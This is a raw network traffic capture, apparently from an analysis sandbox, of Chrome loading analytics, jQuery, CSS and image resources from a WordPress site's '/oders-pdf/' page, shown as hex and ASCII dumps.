2025-01-15 02:37:10 UTC	15951	IN	Data Raw: 34 61 36 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: 4a6/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2025-01-15 02:37:10 UTC	16384	IN	Data Raw: 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b 5d 2c 66 76 3d 5b 5d 2c 66 77 3d 30 78 30 2c 66 78 3d 66 65 28 29 7c 7c 4e 61 4e 3b 66 75 6e 63 74 Data Ascii: ndexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,ft,fu=[],fv=[],fw=0x0,fx=fe()\|\|NaN;funct
2025-01-15 02:37:10 UTC	3670	IN	Data Raw: 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 29 26 26 6a 69 26 26 6a 69 28 29 3b 7d 3a 6a 6b 5b 27 6f 6e 6c 6f 61 64 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 69 26 26 6a 69 28 29 3b 7d 3b 7d 66 75 6e 63 74 69 6f 6e 20 6a 6c 28 29 7b 76 Data Ascii: rset','UTF-8'),document['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['readyState'])&&ji&&ji();}:jk['onload']=function(){ji&&ji();};}function jl(){v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49786	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:09 UTC	1037	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:09 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: image/png Content-Length: 502 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-1f6" Expires: Thu, 15 Jan 2026 02:37:09 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	502	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 37 3a 31 33 3a 31 37 20 2b 30 31 30 30 72 04 c3 22 00 00 00 07 74 49 4d 45 07 d5 0c 1f 10 14 10 6c 92 e9 b5 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 4e 49 44 41 54 78 da 8d 92 cd 4a c3 40 14 85 67 4a 42 1a ad 4d da 20 14 ac 2e a4 14 5c b9 ee 0b d8 bd 2b 37 ee fb 28 85 be 89 8f a0 e0 42 17 05 57 82 6b 85 88 34 a4 ed 64 32 93 bf 49 66 92 71 5a 77 1a 69 0f 67 71 99 73 be 0b 03 17 8e 46 8f 10 16 ab d5 2a 8a 48 af 67 e9 7a 43 08 79 f7 39 1b e8 3e f8 ab aa 0a a5 0c aa 4a 4b Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:17 +0100r"tIMElpHYs~gAMAaNIDATxJ@gJBM .\+7(BWk4d2IfqZwigqsF*HgzCy9>JK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49785	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:09 UTC	630	OUT	GET /wp-content/uploads/2025/01/Captureddd.jpg HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: image/jpeg Content-Length: 6664 Last-Modified: Tue, 14 Jan 2025 02:22:47 GMT Connection: close ETag: "6785ca77-1a08" Expires: Thu, 15 Jan 2026 02:37:09 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	6664	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 03 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 01 4a 87 69 00 04 00 00 00 01 00 00 01 5c 9c 9d 00 01 00 00 00 24 00 00 02 d4 ea 1c 00 07 00 00 01 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF``ExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49787	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:09 UTC	394	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:09 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:09 GMT Content-Type: application/javascript Content-Length: 11224 Last-Modified: Thu, 19 Nov 2020 09:31:13 GMT Connection: close Vary: Accept-Encoding ETag: "5fb63b61-2bd8" Expires: Thu, 15 Jan 2026 02:37:09 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:09 UTC	11224	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49788	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	386	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 89521 Last-Modified: Mon, 28 Feb 2022 09:02:21 GMT Connection: close Vary: Accept-Encoding ETag: "621c8f9d-15db1" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	15955	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-15 02:37:10 UTC	16384	IN	Data Raw: 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 78 26 26 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 70 3d 21 6e 26 26 21 78 2c 64 3d 21 31 3b 69 66 28 63 29 7b 69 66 28 79 29 7b 77 68 69 6c 65 28 6c 29 7b 61 3d 65 3b 77 68 69 6c 65 28 61 3d 61 5b 6c 5d 29 69 66 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 75 3d 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d Data Ascii: arentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]
2025-01-15 02:37:10 UTC	16384	IN	Data Raw: 22 6c 6f 61 64 22 2c 42 29 29 3b 76 61 72 20 24 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 29 7b 76 61 72 20 73 3d 30 2c 75 3d 65 2e 6c 65 6e 67 74 68 2c 6c 3d 6e 75 6c 6c 3d 3d 6e 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 28 6e 29 29 66 6f 72 28 73 20 69 6e 20 69 3d 21 30 2c 6e 29 24 28 65 2c 74 2c 73 2c 6e 5b 73 5d 2c 21 30 2c 6f 2c 61 29 3b 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 69 3d 21 30 2c 6d 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b Data Ascii: "load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++
2025-01-15 02:37:10 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2c 66 3d 69 65 28 65 29 3b 69 66 28 21 28 79 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 7c 7c 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 Data Ascii: function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked\|\|1!==e.nodeType&&11!==e.nodeType\|\|S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerC
2025-01-15 02:37:10 UTC	16384	IN	Data Raw: 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 6e 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 65 6c 65 63 74 22 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 74 74 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 79 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 74 74 2e 76 61 6c 75 65 2c 79 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 6e 74 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 72 20 63 74 2c 66 74 Data Ascii: E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft
2025-01-15 02:37:10 UTC	8030	IN	Data Raw: 74 68 69 73 7d 7d 29 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 68 69 64 64 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 28 65 29 7d 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 Data Ascii: this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49789	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	622	OUT	GET /wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: text/css Content-Length: 18468 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-4824" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:10 UTC	15970	IN	Data Raw: 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 32 30 25 2c 35 33 25 2c 38 30 25 2c 66 72 6f 6d 2c 74 6f 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 34 30 25 2c 34 33 25 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 30 2c 2e 38 35 35 2c 2e 30 36 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 33 30 70 78 2c 30 29 7d 37 30 25 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 Data Ascii: @keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(.215,.61,.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-30px,0)}70%{animation-timing-function:c
2025-01-15 02:37:10 UTC	2498	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 31 30 64 65 67 29 7d 34 39 2e 39 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 2d 36 64 65 67 29 7d 36 36 2e 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 34 64 65 67 29 7d 38 33 2e 32 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 2d 32 64 65 67 29 7d 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 28 30 29 7d 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 77 6f 62 62 6c 65 2d 74 6f 70 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 20 31 30 30 25 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 77 6f 62 62 6c 65 2d 74 6f 70 3a 61 63 74 69 76 65 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 77 6f 62 62 6c 65 2d 74 6f Data Ascii: ransform:skew(10deg)}49.95%{transform:skew(-6deg)}66.6%{transform:skew(4deg)}83.25%{transform:skew(-2deg)}100%{transform:skew(0)}}.elementor-animation-wobble-top{transform-origin:0 100%}.elementor-animation-wobble-top:active,.elementor-animation-wobble-to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49790	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:10 UTC	597	OUT	GET /wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 02:37:10 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:10 GMT Content-Type: application/javascript Content-Length: 16290 Last-Modified: Mon, 07 Mar 2022 04:29:27 GMT Connection: close Vary: Accept-Encoding ETag: "62258a27-3fa2" Expires: Thu, 15 Jan 2026 02:37:10 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
